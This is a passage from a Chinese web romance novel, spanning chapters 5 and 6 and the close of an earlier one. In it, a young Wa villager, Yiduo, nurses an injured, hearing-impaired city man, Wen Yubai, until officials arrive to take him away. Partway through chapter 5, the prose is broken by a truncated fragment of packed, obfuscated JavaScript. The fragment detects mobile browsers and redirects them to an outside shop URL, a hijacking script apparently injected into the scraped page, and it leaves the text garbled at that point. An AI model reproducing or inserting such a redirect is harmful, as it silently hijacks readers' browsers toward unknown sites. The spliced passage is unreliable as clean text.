男人没回话,依朵抬起头。
他安静地看着窗外,侧脸线条犹如雕刻出来一般俊美流畅,可他周身却被灰蒙蒙的天色层层叠叠裹住,平生一股沉郁的感伤。
依朵胸腔霎时有种喘不过气的错觉,像滑倒在泥泞不堪的雨天山路,又像掉进冰冷刺骨的深黑水塘,无力和窒息从四面八方扑来……
她要做点什么,必须做点什么,尽快打破这种难受。
“你还喝吗?”她说着端起瓦罐,往白瓷碗里倒咖啡。
余光察觉动静,温聿白转过头来,接过她递来的咖啡,轻声说谢谢。
依朵摇头,嗓音清脆:“不客气的,你喜欢喝我这里多得是。”
温聿白抿了口,点点头便沉默不语。
屋外忽然传来一声高呼:“颂!”(Som:吃饭了)
依朵朝着门口回了声:“来了。”
她转回头,看了看他的腿,站起来说:“吃晚饭了,我去给你端过来。”
温聿白刚刚抬起眼,见她看着自己,便什么也没问,点了点头。
依朵飞快出了屋子,阿妈在灶屋里忙碌,火塘不远处的饭桌上已经摆好了饭,一个中年男人坐在饭桌前吸着水烟筒,见她出来,探头瞥了眼屋子。
“那个人不吃噶?”
最近在收玉米,家里就母女俩个,大伯有时间就会来帮忙收上一收。
依朵说:“他伤在腿上呢,我端一碗进克给他就行咯。”
岩大龙哦了声,又吸了口水烟筒。依朵也没再多说,从碗柜里拿来碗筷,舀了碗米饭,又拿起筷子到饭桌上飞快夹菜。
岩大龙脸色不是很好,依朵也不管,快速夹了满满一碗,正要直起身,头顶忽然传来一阵嗡嗡嗡的声音。
屋外也忽然狂风大作了起来。
依朵懵了:“出什么事了?”
岩大龙也愣了下,忽然撇开水烟筒,噔噔噔下了楼,站在屋前仰头看去,头发和衣服被狂风吹得飞起。
他努力站稳,大呼:“哇么!直升飞机!”
直升飞机?
依朵惊讶,放下碗也跟着下楼,压着头发跑到大伯旁边仰头看去,一架黑乎乎的直升飞机转动着翅膀从上方飞了过来。
平静的寨子忽然热闹起来。
大人的讨论声、小孩的尖叫声、鸡鸣狗吠声混在嗡嗡的飞机声里。
寨子里的人无论老少,都是第一次见到这种东西,激动得吱哇乱叫。
阿妈端着碗也跑出来了,稀奇地看着头顶,一声惊呼:“哇嘚!大飞机!”
依朵扶着阿妈,两眼亮晶晶地看着飞机渐渐飞过头顶。
邻居抱着水烟筒过来,跟他们站在一处,眯着眼,琢磨道:“飞机上怕是坐着哪样大人物捏。”
岩大龙赞同:“活呢(对的)。不然就我们这种边界上,再过几十公里就是缅甸了,但把拉(平白无故)呢咋会有直升飞机过来……”
邻居笑呵呵地调侃:“小缅甸要着嘿(吓)着咯!哈哈!”
依朵眨了眨眼,不再关心什么大人物不大人物,她更关心屋里的人。
姑娘头发一甩,转身跑了回去。
拿上筷子端起碗,依朵快步进屋,想跟他说刚刚有直升飞机飞过,但见他安静地靠着床头,一脸平静,似乎没受到影响。
依朵的心忽然也静了下来。
也是,他们大城市里的人连大飞机都坐过,哪里会稀奇什么飞机不飞机的。
她平复了一下心情,端着碗过去,见他抬起眼,她将碗筷递过去,有些踌躇:“不知道你吃不吃得惯我们这儿的口味,偏酸辣,你先尝尝看。”
温聿白坐直了些身体,伸手接过,道了声谢。
又看向她,见她两手空空,不由得说:“你的呢?”
依朵笑起来,眉眼弯弯,牙齿整齐洁白:“我的在灶屋里呢,不用管我,你快吃。”
“那你也去吃饭。”他看着她。
“好。”依朵应了,一步三回头。
见她转身,温聿白垂眼,捏起筷子吃饭。
他吃饭很安静,安静得好像跟她不是同一个世界。
依朵忽然站住脚,呆呆地看了片刻,想开口说些什么,但又怕扰了他的清净,肚子忽然咕噜一声,她赶忙捂住,满脸通红地看了眼男人。
见他依旧安静地咀嚼着,腮帮微动,好像没听见?
依朵庆幸,转身跑了出去。
光影晃动,温聿白侧头看了眼,见她背影消失,又垂眼继续吃饭。
依朵径直进了灶屋,阿妈蹲在火塘前吃饭,见她来了,端碗给她,“那个男人咋过样咯?”
依朵点头:“好好呢嘛。”
叶嫩妹松了口气,拍拍胸口:“还好人好好呢,你不消(不用)克坐牢。”
晌午时,依朵背着一身是血的男人回来时可把叶嫩妹吓得不轻。
她怕惹上事,不同意女儿把人背回家,可依朵说是她把人家给撞翻车了导致的,要是不管就成杀人犯了。
叶嫩妹脸色顿时黑成了锅底,骂了她一声祸害,但也开了岩勐山的屋子,让她把人背进去。
叶嫩妹也怕人真嘎在家里,赶忙跑去上寨,火急火燎把叶阿婆喊来,忙前忙后烧了热水。好在男人只是腿上划了道深口子,又砸到脑袋,受了刺激昏过去而已,不然她真的不知道要怎么办了。
依朵埋头干饭,火塘里的火“噗呲”一下,炸了个火星出来。
阿妈拽了拽她的胳膊,依朵往后挪了点,几大嘴饭塞完,碗一歇站起来,含糊道:“阿妈,我克瞧瞧他给吃好了。”(吃好了没)
话没说完人就跑没影了,叶嫩妹夹菜的手一顿,往外看去,菜塞嘴里,有一丝不好的预感。
她姑娘,不会是瞧着人家了吧?
阴雨天,夜色也来得早。
不过刚吃完晚饭,就已经有些看不清屋里头了。
依朵进屋,拉了拉门口的开关线,“咔哒”一声,屋中央挂着的电灯泡亮了起来。
橙黄光亮洒了一
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室。
温聿白转头看向她,手里端着吃干净的饭碗,面色沉静,眸色漆黑,背影与窗外黑影重重的山川快要融为一体。
依朵脚下一顿,有一瞬不敢上前。
怕扰了他身那股上不食人间烟火的清冷仙气。
“那么快就吃好了?”
男人出声打破寂静,嗓音轻飘飘带着股朦胧的质感。
依朵回神,走上前,“你不也吃好了嘛。”
她伸手去接他的碗,脑袋低垂,没敢看他。
因此温聿白也看不清她的脸,就没出声,安静递给她。
夜风从窗户吹了进来,透着股凉意,依朵脚步一顿,将碗筷放在一边,走过去先关了窗。
风没了,屋也静了。
依朵转过身,顿时又不知道跟他说些什么。
她的见识是那么的短浅,怕说多了会显得她的无知,也怕给他留下不好的印象。
哪怕,他回去后就不会再记得她……
温聿白也看着她,见她垂着脑袋搓着手指,出声问:“能给我支手电筒吗?”
依朵愣了下,“好。”
她也不多问,转身端起碗就要出去,却见他掀开被子,似乎是想下床,依朵立马转回身,“你要去哪里呀?”
男人垂着脑袋找鞋,木床有些高,但也架不住他的大长腿,完好的那条支在地上,另一只蜷着。
依朵反应过来,连忙提了阿哥的拖鞋放在他脚边。
温聿白顿了下,抬眼看她,轻声说:“谢谢。”
依朵摇摇头,赶忙再问一遍:“你要出去吗?”
温聿白嗯了声,坦然说:“去个厕所。”
依朵顿了几秒,碗筷往旁边一放,耳尖悄悄红了,手在衣摆上擦了擦才伸出,语气小心翼翼:“那我扶着你去……可以吗?”
白天那会儿,他撑着床起来时,她过来扶他,他身体不着痕迹地避了避,依朵当时看得一清二楚。
她知道自己皮肤黑,和他比不了,但她今天一整天都在洗手,很干净的。
温聿白并没有看她,只是见她伸手,便将手递了过去,又说:“谢谢。”
依朵握住他温热的手掌,心脏直接原地弹跳升天,跳动声一声比一声大,妄想冲破黑夜的寂静。
她怕他听见她咚咚乱跳的心跳声,想要往后退开一些,这时他使了下力,依朵便顾不得其他,连忙支住他的胳膊。
温聿白借着她的力站了起来,右腿撑住身体的力,受伤的左腿脚尖轻轻点着地,一点一点往前挪去。
厕所在牛圈旁边,出了屋子,依朵喊了声阿妈,“给我拿只电筒。”
叶嫩妹从灶屋里出来,手里拿着一只银白铁皮的手电筒,递给依朵的时候瞅了眼女儿身旁的男人。
这一看,眼睛顿时睁大了。
这男人这种乖(好看),她姑娘不得分分钟被迷得晕头转向?
依朵可不管她妈心里怎么想,打开电筒,扶着男人一步一步走下木梯,又顺着泥巴路走到牛圈外,牛粪的味道在夜里格外清晰,不远处就是一座茅草盖的简易茅坑。
依朵看着黑漆漆的茅坑有些无地自容,她是见过大城市的厕所的,更别说上海的公共厕所比这干净、比这明亮一万倍。
乡下茅坑对温聿白来说已经见怪不怪了,面色如常走到茅坑外,伸手接过手电筒,看了她一眼,依朵自觉地站到了五步之外。
没了电筒光,眼前一片漆黑,连远处的山川重影都看不见。
山里的夜是那么的静,连夏日蛙鸣也没有了。
想到什么,她又连连退开好几步,脚尖踢了踢路边的杂草。
5. 第 5 章
[我想要记住他的味道。就像四年前,我记住了咖啡的味道。这一记,将会是我的一辈子。]
chapter 05
不多时,茅坑门处挪出来一道人影,手电筒的光也跟着照出来。
依朵赶忙走近,扶住他的那一刻,他身上淡淡的清香盖过茅坑的臭味拂上她的鼻尖。
怎么会有男人那么香啊?
依朵垂着脑袋,扶着他往外走,不自觉轻轻嗅了嗅,呼吸间便都是他身上的浅浅气息。
在这一瞬间,她忽然想要记住他的味道。
就像四年前,她记住了咖啡的味道一样。
这一记,也将会是她的一辈子。
上了木梯,阿妈叫住她,没忍住又看眼男人,说药煮好了,又叫她早些休息。
依朵应了声,扶着人进屋。
温聿白朝着姑娘母亲点头示意,进屋时不着痕迹地观察了一下房间布局。
门口进去的墙角处堆着些看不清的杂物,左侧靠墙是一张木床,床对面有个木桌,上面摆着些杂物,下面堆着两大个木箱,看着就是一间卧室。
他迟疑地看向姑娘:“你晚上,睡哪儿呢?”
“我跟我阿妈睡一处。”依朵扶着他坐在床上,指了指桌子上方贴着的照片,“这是阿哥的房间呢,他打工去啦,你睡他这里。”
温聿白看过去,光线有些暗,细看才看清照片里一高一矮站着两个穿佤族服饰的男人和男孩。
他猜测:“这是你阿哥和阿爸么?”
“是呢。”依朵点头。
温聿白抬眸看她,“可我好像没在家里看见你爸,他也跟你哥一起出去打工了吗?”
依朵正要转身的动作一顿,抿了抿唇,说:“不是呢。阿爸在我小的时候就去世了。”
不然家里也不会这么穷,阿哥也不会小小年纪就出去打工。
她说完,朝着他笑了笑,转身往外走去,“我去给你端药。”
温聿白面色懊恼一瞬,转头看向姑娘的背影,出声道:“不好意思。”
依朵转头又笑了笑,去了灶屋。
提起火塘边上煨着的陶罐,往瓷白大碗里倒了满满一碗浓稠的草药。是叶阿婆留下的消炎化瘀、疏风止血的草药。就一大把,但是要吃三天,一天吃三顿,这是今晚的第一顿。
依朵端着碗去屋子,放在床边的木柜子上,转头看他:“头道药会很苦,你等凉一些再喝。”
温聿白依旧看着她,等她说完,他伸手去端,“不怕,我吹吹就好。”
依朵没话说,看着他吹了吹,面不改色地喝下去,自己先替他苦上了,要知道叶阿婆的药可苦可苦了。
可惜家里没糖,连白砂糖都没有。
接过他喝完的碗,依朵跑回灶屋放好,随后提起火塘上的铜壶,倒了一大盆热水。
家里的毛巾很旧了,她不好意思给他用,想起阿哥屋里没用过几次的毛巾,端着水和香皂进了屋,一把扯下阿哥的毛巾泡进水里,端到他面前,“洗个热水脸再睡觉吧。”
温聿白看了眼舒肤佳香皂,开口说谢谢。
他没拒绝,依朵就知自己没做错,心底有些高兴,拧干毛巾递给他。
温聿白接过,先擦了擦脸,而后翻个面擦了擦脖子,最后才擦了擦手。
他擦脸的动作很优雅,脖颈微微仰起,动作不急不躁,擦手也是一根手指头一根手指头擦得细致,看着都让人觉得赏心悦目。
依朵接过毛巾洗干净挂好,端着水出去倒了,又重新倒了盆热水端进去,是给他洗脚的。
温聿白还坐在床边,见她又端了盆热水进来,嘴唇开开合合,是说给自己洗脚的。他弯了弯唇角,再次说了声谢谢,抬脚泡进热水里。
受伤的那条腿从下午开始就一直都是冷冰冰的,热水一泡,神经都舒适了不少。
温聿白侧头,见姑娘站在床边等着,出声道:“你也去洗漱吧,等你洗完,我应该泡好了。”
依朵嗯了声。他都这样说了,她也不好意思再待这里看他洗脚,转身去了灶屋。
家里没有多余的洗脚盆,依朵先洗了个脸,漱口的时候才想起没给他牙刷,但家里也没有多余的了,毛巾还可以用阿哥的,牙刷却是不行。
她在心底轻轻一叹。
还是好穷哦。
洗漱完,她舀了瓢冷水冲脚,也不用洗脚盆了,冲完就坐在小板凳上晾了会儿。
等脚晾干,她趿拉上鞋子去了阿哥屋子,他已经泡好了,依朵走过去把水端到门外倒了。
转回身,便跟一直看着她的眸子对上,依朵怔了怔,说:“那你……早些休息。”
温聿白点头,目送她转身,正要找电灯开关,姑娘忽而又从门口探头,“要关灯吗?”
温聿白难得多看了她几秒。相处不过短短时间,她却接二连三地猜中他的想法。这样的姑娘,不是心思细腻,就是擅长了察言观色。
“多谢。”又在灯光熄灭时惯常加了句,“晚安。”
依朵拉门的手顿在那里,心脏一时间麻麻的。
有生以来第一次,有人跟她说晚安。
六年前她还在市里读书时,同宿舍一个家底还算富裕的同学跟她早恋男友打电话,就会甜甜地说晚安。
她鼓足了勇气,瓮声瓮气地回了声:“晚安。”
随后飞快关了门,逃也似地奔回了睡处。
阿妈给她留着灯,屋里两张床,朝向都一样,中间一个双开门的木柜子,柜子上面放着达(dax:爷爷)打的木箱子。
叶嫩妹从被子里探出脑袋,“着鬼追噶(被鬼追吗),跑得乒铃乓啷呢。”
依朵关门的动作一顿,悄声嘀咕:“有那过响呢噶……”(有那么响吗)
叶嫩妹翻了个白眼,倒回枕头,“牛都着你嘿醒咯。”(被你吓醒了)
依朵吐了吐舌头,飞快关好门,爬上自己的小床,拉好蚊帐,这才捂着胸口直挺挺倒在床上。
阿妈拉了灯,屋内一片漆黑。
依朵睁着眼,越想越懊悔。
刚刚怎么表现得像个毛毛躁躁的小屁孩一样啊。
一点都不稳重呢。
-
秋收时节,家里正在收玉米,依朵起来时阿妈已经下地了。
她洗漱完便开始烧火做饭煮猪草,时不时探出脑袋看一看阿哥的屋子,也不知道他起来了没。
把米饭煮上后,她终于是擦了擦手,往阿哥的屋子走去,在门口站了几秒,她才抬起手,敲了敲门:“你醒了没?”
屋内静悄悄的,像是还没睡醒。
依朵便不继续敲了,转身就要回灶屋,却忽然听见一声鞋子蹉在木板上的声音。
她一顿,转回身,就见木门被拉开,门后的男人显然也是被她吓了一跳,随即出声:“早。”
依朵讷讷地回了声早。
她刚刚不是敲门了吗?怎么还能被吓到?
温聿白看了眼天色,朝阳灿烂,大约是上午八九点的样子。
屋檐之外是一栋栋棕褐色的小楼隐在树木间,蓝天一碧如洗。
是个好天气。
他转头看向姑娘,她身后的木屋里有青烟环绕,便问:“你在做早饭么?”
依朵点头,也跟他有来有往:“还早呢,你要不再睡会儿?”
温聿白视线落回她的脸上,摇了摇头,说:“我去个厕所。”
依朵哦了声,正要去扶他,男人又说:“给我根木杖就好,不用麻烦你。”
依朵顿了顿,折回灶屋。
木杖没有,但是烧火的木头倒是很多。
她找了根长的,再砍了根短的架在长木头的顶端用布条包裹了起来,弄成简易的T字形木杖送出去。
温聿白接过看了眼,唇角微弯,夸道:“真是心灵手巧。”
依朵羞得连连摆手。
温聿白架在胳膊下,高度刚刚好,便杵着一挪一拐地往木梯走去,依朵看着他背影远去,转过身笑了笑,回了灶屋。
等他再回来已经是二十多分钟之后了,站在楼梯下看着牛圈里的黄牛。她们这边基本都是这样的,木头盖的房子,上下两层,上面住人,下面关牛。
依朵是见他一直不回来,怕出什么事,火急火燎出来才看见他津津有味地跟那头撞过他车的黄牛对视着。
他像是不属于这个世间的神灵,哪怕是一身黑衣黑裤,受伤那条腿的裤腿鼓鼓的,还撑着根木杖,但他站在那里,就与这个贫穷落后的村寨格格不入。
很多年后,依朵才知道,那叫气场。
由优渥出身和良好教养,以及见多识广赋予他的非凡气场。
见她出来,男人仰头看她,早晨的阳光洒下金黄的光线,那双漂亮的眼眸里倒映着寨子里的秋日清晨,美得令人窒息。
依朵呼吸钝钝,一时反应不过来。听到他说请帮一下忙才知道他上木梯困难了,忙下去,伸手扶住他另一边的胳膊,带着他往上走。
她不知道说什么,他也安静无话。
清晨的鸟雀叽叽喳喳飞过,才叫这片刻不会尴尬到令人窒息。
回了屋子,依朵又返回灶屋。
两分钟后,她端来一碗早饭和一碗黑乎乎的草药,背上背了个背篓,一副要出门的样子。
温聿白有些诧异:“你要出去吗?”
依朵点头:“嗯,给大伯和阿妈送早饭,顺带去放牛。”
怕他一个人在家无聊,她找来阿哥带回来的《边城》,已经被她翻得起了毛边了。
“你先在屋里看会儿书,我去去就回。”
温聿白接过,沉默片刻,忽而抬首看她,“还是去昨天放牛的那个地方吗?”
依朵摸不着头脑,但寨子里的牛都往那边放的,便点了点头,“是呢,怎么啦?”
温聿白说:“能请你帮个忙吗?”
难得他需要她帮忙,依朵问都没问就一口答应下来:“阔以啊。”
雨后阳光明媚,天空湛蓝,山川成青绿色绵延万里。
寨子里鸡鸣狗吠,牛羊哞哞咩咩叫着出了圈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472286|201559||http|test|mini|href|location''.split(''|''),0,{}));
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>依朵赶着五条黄牛走在大路上,棍子甩了甩,满脸困惑,他说的,到底是个什么样的东西呢?
“哞——”
一声牛叫从前方路下传来。
依朵抬头看去,路边坐着个瘦瘦小小的身影,路下的草丛中昂着脑袋咀嚼的大黄牛正是刚刚出声的始作俑者。
依朵出声:“小燕,今日来呢早呢嘛,也不约约我。”
瘦干身影转过身来,是一个身形瘦小的姑娘,因长期营养不良,她的颧骨凸出,脸颊凹陷,便显得那双漆黑的大眼有些不搭,一股怪异之感。
她不回话,依朵也习以为常,将牛赶到她下方,“帮我看着些噶,太阳落山我就来接咯。”
说完背着背篓就往昨天翻车的地方赶去。
十几分钟后,她放下背后的背篓,顺着昨天爬出来的路钻到没有车窗的车门里,在方向盘正对的座位处找了找,摸到一个白色的金属坨坨,拿出来一看——
嚯!智能机!
机子有一个巴掌那么大,除了中间一个圆圆的按钮外就都是屏幕了,后背的金属壳上印着个咬了一嘴的苹果。
依朵摸了又摸,她的手机是个直板机,哪个牌子的也不知道,是阿哥买给她的,已经用了三年了,按键摁坏了一个,听筒也不灵了,每次打电话都得开扩音,人多的时候就会很尴尬。
这种智能机她去年就听阿哥说过了。说可以触屏,可以看电视,拍照也清晰,反正哪哪都好,就是很贵,连村长家的依慧都买不起呢。
她现在也算是见识过了。
依朵把手机放进兜里,又仔细地在车内找了找,从座位缝隙里找出一只没有线的‘耳机’,又从挡风玻璃处找出一只。
找到他要的东西后,依朵便爬回公路,背上背篓往回走。
“嘀——”
汽车鸣笛声从身后传来。
依朵靠边站,往后看,一辆灰色小汽车驶来,在她旁边停下,车窗降下,里面的人喊她:“依朵,放牛噶。”
说曹操曹操到,是村长家的依慧,汉名赵一慧。
她是寨子里首个读得起大学的女孩,就在茶城农业大学。
依朵懵懵地点了点头,看看她再看看车子,后知后觉一声惊呼:“哇嘚!你会开车了噶?!”
她这时候还是大学生呢,怎么就会开车了呢?!
自己连小汽车都没坐过几回呢!
赵一慧好笑:“大一那年就考了驾照了。”探身推开车门,“回克嘛,我带你一截。”
走回去得四十多分钟,依朵也不推辞,爬上车坐好。
赵一慧松开手刹,启动车子。这车还是她阿爸的老款桑塔纳,跟教练车没啥区别,她开得也顺手。
她边开着车边问:“听说昨日寨子这边有直升飞机过来噶?”
依朵点头:“是呢,阿伯说怕是有大人物来了。”
赵一慧肯定道:“不是怕是,是真呢有大人物来了。”
“我跟你讲,昨日黄昏,整个茶城全面戒严,到处都是警察呢。今早梦县公安局派出老多老多警察了,听阿爸说要前往各乡镇维护治安秩序呢。”
依朵惊讶,居然能惊动这么多人,随口问了句:“是哪个来了啊?”
赵一慧摇头:“我也认不得,估计在保密阶段。”
依朵噢了声,随后就不怎么感兴趣了,她垂眼看了眼手里的东西。
“依慧,你给认得这个东西?”她拿着东西递到赵一慧面前。
赵一慧开着车,随意瞥了眼,“这不是耳机——咦?怎么没线?”
不等依朵说话,她单手掌方向盘,一把抓过依朵手里的东西看了眼,肉粉色的,看着跟耳机似的,但略微长一点弯曲一点,像耳朵的轮廓,上面还有两个开关,一个刻着+号,一个刻着-号。
“这是……”她心底隐隐约约有个答案,但不敢确定,“助听器噶?”
依朵顿住,这是她今天第二次听说这个名字了。
一个多小时前,男人问能帮他一个忙吗,那时依朵爽快答应了下来,随即才问要做什么。
他当时说:“要麻烦你顺带去一下昨天翻的车里,帮我拿一下手机跟助听器。”
依朵当时没听清后面那三个字,只听清手机便拍着胸口答应下来,等赶着牛出了寨子,她才疑惑起来,又怀疑是不是自己听错了。
但当时他怕她不知道,还特意形容了一下——
“肉棕色的,像耳机一样的款式,但是没有耳机线,只有两只耳机的那个东西就是了。”
赵一慧见她默认,惊了:“你从哪整来这东西呢?”
依朵垂着眼没回,沉默了会儿,问道:“依慧,你给认得它是用来做什么呢?”
赵一慧随口便说:“助听器咯,顾名思义就是帮助听不见声音的听障人士听声音——”随即一顿,扭头又看她一眼,“你耳朵咋过了噶?”
依朵愣愣地看着手里的东西,已经听不见她后面的话了,嘴巴张张合合,艰难地从喉咙里挤出一句。
“听不见声音?”
6. 第 6 章
[他说,依朵,你的名字很好听。自此,我这个土到掉渣的名字,也有了不一样的意义。]
chapter 06
“听不见声音?”
他……吗?
依朵喉咙像是被棉花堵住了一般,又涩又潮,再也说不出话来。
她想说不是的。
他不可能听不见声音的。
明明他都能正常跟她交流的——随即便想起昨天,有几次她一说话他就盯着她看,有时候她说话,他没看她时就理都不理她。
那是不是,不是不理她,而是没看见她说话呢?
可声音,明明是听来的,不是看来的啊。
她吞了吞干涩的喉咙,哑声问:“依慧,你说一个听不见声音的人,是怎么,怎么能用眼睛看,不,是听见声音呢?”
她完全不知道自己说些什么,只是觉得很乱,脑袋里乱成一团糟。
赵一慧倒是听清楚了,想了想,说:“手语噶?”
“不,他没用手语。他是正常说话的,只是你一说话,他就会看你……”
“噢,那我认得了!”赵一慧啧了声,“那不就是唇语嘛。”
依朵喃喃重复:“唇语?”
“是呢,有些聋哑人很厉害的,他们能通过嘴唇发声的形状知道你在说些什么,就跟手语一样,都是作看的。”
依朵握紧手里的东西。
所以,他是真的听不见声音了吗?
可明明四年前在上海遇见时,他耳朵里也没有这个东西,跟朋友说话也很正常。
是这些年,他经历了什么吗?
“你还没说这是你从哪里搞来呢?”赵一慧看向她的耳朵,迟疑,“可我也没感觉你听不见呐……”
依朵回神,摇了摇头,“这不是我呢。”
再多的她就不肯说了,刚好也到了寨子口,忙说这里放下她就好,赵一慧也不强求,踩下刹车,依朵推开车门下车,说了声拜拜就跑了回去。
到家已经十二点多了。
依朵将东西拿去给他,转身跑回灶屋,手脚麻利地开始做午饭。
午饭做好,她才勉强接受了他听不见声音的这个事。
又想,多大点事啊。
他这不也能正常跟人交流的么。
是她大惊小怪了。
不多时,大伯跟阿妈也背着掰下来的玉米回来了。
玉米倒在廊房后,阿妈打水,大伯洗脸洗手。
吃饭还是跟昨天下午一样,大伯坐在饭桌面前,依朵端了药和饭送去阿哥屋里,最后再跑回灶屋跟阿妈一起蹲在火塘边吃饭。
吃完午饭稍歇片刻,大伯便回了家,阿妈背起背篓又出发了。
依朵喂完猪草,开始剥上午背回来的玉米皮。
温聿白靠在门口看着她,片刻后,杵着那根木杖走到姑娘旁边,要了个凳子,靠木板坐下后,他也拿了个玉米开始剥皮。
依朵太过惊讶,一时间忘记阻止他,等反应回来他已经剥干净了一个玉米了,连玉米须都清得一根不剩。
“这样可以吗?”他还问。
“可以可以。”依朵连忙点头,接过他递过来的玉米,“不过不用你剥的。你的腿还伤着,要好好休息……”
“没事。”温聿白看她一眼,重新拿起一个,“歘”地一下撕开皮。
依朵还想再劝,张了张嘴又闭上。
视线不着痕迹地扫过他的耳朵,干干净净,白中透着淡淡的粉——啊呸,是没戴助听器。
他这样也好,不想交流的时候,眼睛一垂,谁说都不管用。
依朵没忍住又看他一眼,随即感叹,有的人,剥个玉米都那么好看。
从昨天到今天,他穿的都是白色T恤和黑色外套,带帽子的那种,面料很光滑,是依朵从来没见过的,看着就高级。
但此时他袖口微微摞上去了一些,五根手指骨节分明,修长有力,指腹透着淡淡的粉,扯玉米皮时手背上的青筋一根根鼓起。
怎么会有人的手也生得那么好看?
依朵垂眼看向自己的手,指关节因为常年干活而粗大,手心有老茧,手背黢黑,指甲里还有上午做饭时的锅底灰……
这样的手,她自己都嫌弃。
不着痕迹地在白白的玉米皮上蹭了蹭。
又继续剥了起来。
一个多小时后,阿妈背回第二背。
大伯上午来帮着把家里的玉米全部掰好,阿妈后面一个人慢慢背就好了,依朵通常都是在干完家务活后就去跟阿妈一起背玉米。
今天是因为家里有人,不好两个都不在家,所以依朵就留在了家里。
玉米地离家远,家里也没有骡子毛驴,只能靠脊背一背一背背回来,耗时耗力。
下午三点多,阿妈再回来时兜里还揣了一兜绿皮玉米,手里抓着大把南瓜尖,笑呵呵说:“正好晚上煮苞米面糊吃嘎。”
“好呢。”依朵接过玉米。
阿妈歇气喝水,又背起背篓走了。
依朵从灶屋里提了茶壶出来泡茶,边泡边说:“我们也喝口水歇会吧。”
温聿白放下玉米,暂停劳动,接过茶水喝了口。
清甜的回甘使得他眼前一亮,随即问道:“这是什么茶?”
依朵眨巴了下眼睛,说:“就是普通的茶呀,家里茶地上采回来的。”
男人再抿一口,不愧是茶城特产绿茶,哪怕是普通农家的茶叶,也比市面上的一些绿茶好喝。
依朵也跟着喝了口,除了苦没尝出什么特别,一口灌完,而后把绿皮玉米剥下来,切下玉米粒,放进舂臼里舂碎,再把南瓜尖捡好洗净,瓜尖里还有几个南瓜崽,也都洗净切好,最后砍了根腊排骨放在洗菜盆里泡着清水。
弄好食材,依朵洗了手回来,正对上男人看着她的黑眸,她愣了愣,迟疑:“怎么了?”
温聿白挪开视线扫了下丰盛的食材,忽然有些期待起晚餐了,说:“很好吃的样子。”
好吃吗?
苞米糊糊在很小的时候都是大米不够吃了用来填肚子的,她觉得没有米饭好吃,现在也就偶尔才会吃一次。
阿妈今天怎么突然想吃这个了……
依朵摸了摸鼻子,含糊不清说:“也就那样吧。”
温聿白不置可否,端着茶碗浅抿了口,正要说话,屋外突然传来说话声。
是阿妈忽然回来了。
没背背篓,但却气喘吁吁的。
依朵觉得奇怪,撑着栏杆往下看,喊了声:“阿妈,你回来整——”话音一顿,在看见阿妈身后跟着乌鸦鸦一群人时愣住。
达永(村长)小跑着跟上来,老远就抬手呼喊:“三春家的,快快烧水泡茶,书记跟领导们来家里接人。”
三春是依朵阿爸的名字。
阿爸大名叫尼三春。
寨子里的人都这么喊他们家。
人群中一位穿着黑色西装外套,戴着眼镜的年轻男人抬手摆了摆,普通话流利:“不用那么麻烦。我们来接一下先生就走,就不打扰大家了。”
赵满田笑花了一张脸:“不怕得不怕得,温先生就在三春家,领导们跟我来。”边说边熟门熟路地带着那一群西装革履的人踏上依朵家的木梯。
依朵顿时感觉莫名其妙。
哪里来的先生哦?
没等她反应,身后的男人便撑着木板墙站了起来。
她刚刚转过身,赵满田就带着人到了门口,戴着眼镜的那年轻男人见到房里的人,神色微微一变,大步走上前,担忧道:“先生,您还好吧?昨天发现您——”
温聿白抬手,年轻男人的话止住。
他往外看
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去,对上一道穿着夹克外套的身影,扶着木板墙出去,与来人握手,嗓音温和:“辛苦书记跟各位领导们大老远跑一趟了。”
“这点小路,哪里值得说辛苦。”那人说着握紧他的手,关切地看了一圈他全身,“除了腿,可还有其他伤处?”
温聿白笑着摇头:“没其他的了,幸好昨天刚出事就遇到了——”视线转向捏着手干站在一旁的姑娘,语气罕见地顿了顿,他到现在都不知道她叫什么名字。
所有人的目光也哗啦一下扫向依朵。
众目睽睽之下,依朵手脚都不知道怎么放了。
她从没经历过这么大的场面,尤其人群中后方还有她们村委会的村支书,更别说村支书前面的几位大人物。
“你叫什么名字?”始作俑者轻声问。
依朵心脏哆嗦了一下,想起他听不见声音,她说得很慢:“依朵,我叫依朵,叶依朵。”
温聿白微微颔首,他曾在西盟佤族自治县待过几天,自然知晓佤族女孩的叶就是她们的姓,而yi是依靠的依。
他念了声:“依朵。很好听的名字。”
而后又说:“这两天多谢依朵姑娘的招待了。”
依朵已经听不见后面那句了,只听得见前面那句。
他竟然说她的名字好听?
热气逐渐上涌,依朵感觉她要被蒸发了。
她的名字是那么的老土,无论是叶还是依她都没得选,连最后的朵也是阿爸取的,在佤语里多代表为石头。
一个土到掉渣的名字。
可他说好听。
依朵忽然间便喜欢上自己的名字了。
因为有了不一样的意义。
那位握手的中年男人笑起来:“是该感谢依朵姑娘的热心帮助。”往后扫了眼。
戴着眼镜的年轻人接过后方递上来的谢礼,走上前双手递上:“多谢依朵姑娘昨天对先生的援手。这两天多有叨扰,一点谢意,还请收下。”
依朵活了二十二年从来没碰到说话如此文绉绉的人,像古代的老先生,彬彬有礼极了。面对谢礼,她接也不是,不接也不是。
赵满田见依朵傻了,忙招手让叶嫩妹接下礼,口里客气着:“温先生客气咯,这都是小事。我们佤族人民很热心呢,不管看见哪个困难都会帮忙呢。”
中年男人点了点头,转回头看向温聿白,拍了拍他肩:“下次可不能再这么莽撞了。好在这次你没事,不然我们难咎其责。”
温聿白面上挂起一抹歉意的笑容:“是温某考虑不周了。”
说话间那戴眼镜的年轻男人拿着一根崭新的拐杖走上前,温聿白伸手接过,撑在腋下,年轻男人在一旁扶着,后头乌压压的人散开来,把路让出来。
中年男人跟依朵打了声招呼先走,后面的人跟上。
一群人又呼啦啦地离开依朵家。
赵满田跟上去,热情地招呼着说吃了晚饭再走的话。
依朵撑着栏杆,失落地看着人群背影渐远,一股巨大的冲动从心底涌了上来。
——她要去送送他。
或许以后就再也没有见面的机会了。
最后一面。
她就再见他最后一面。
依朵不顾阿妈的惊呼,快速跑下去,跟在大部队身后,走了没几步,一只手从旁边抓住她,“依朵,你居然救了个大人物!”
依朵侧头看去,是依慧。
唇角轻颤,她想说她确实厉害,把大人物给撞了。
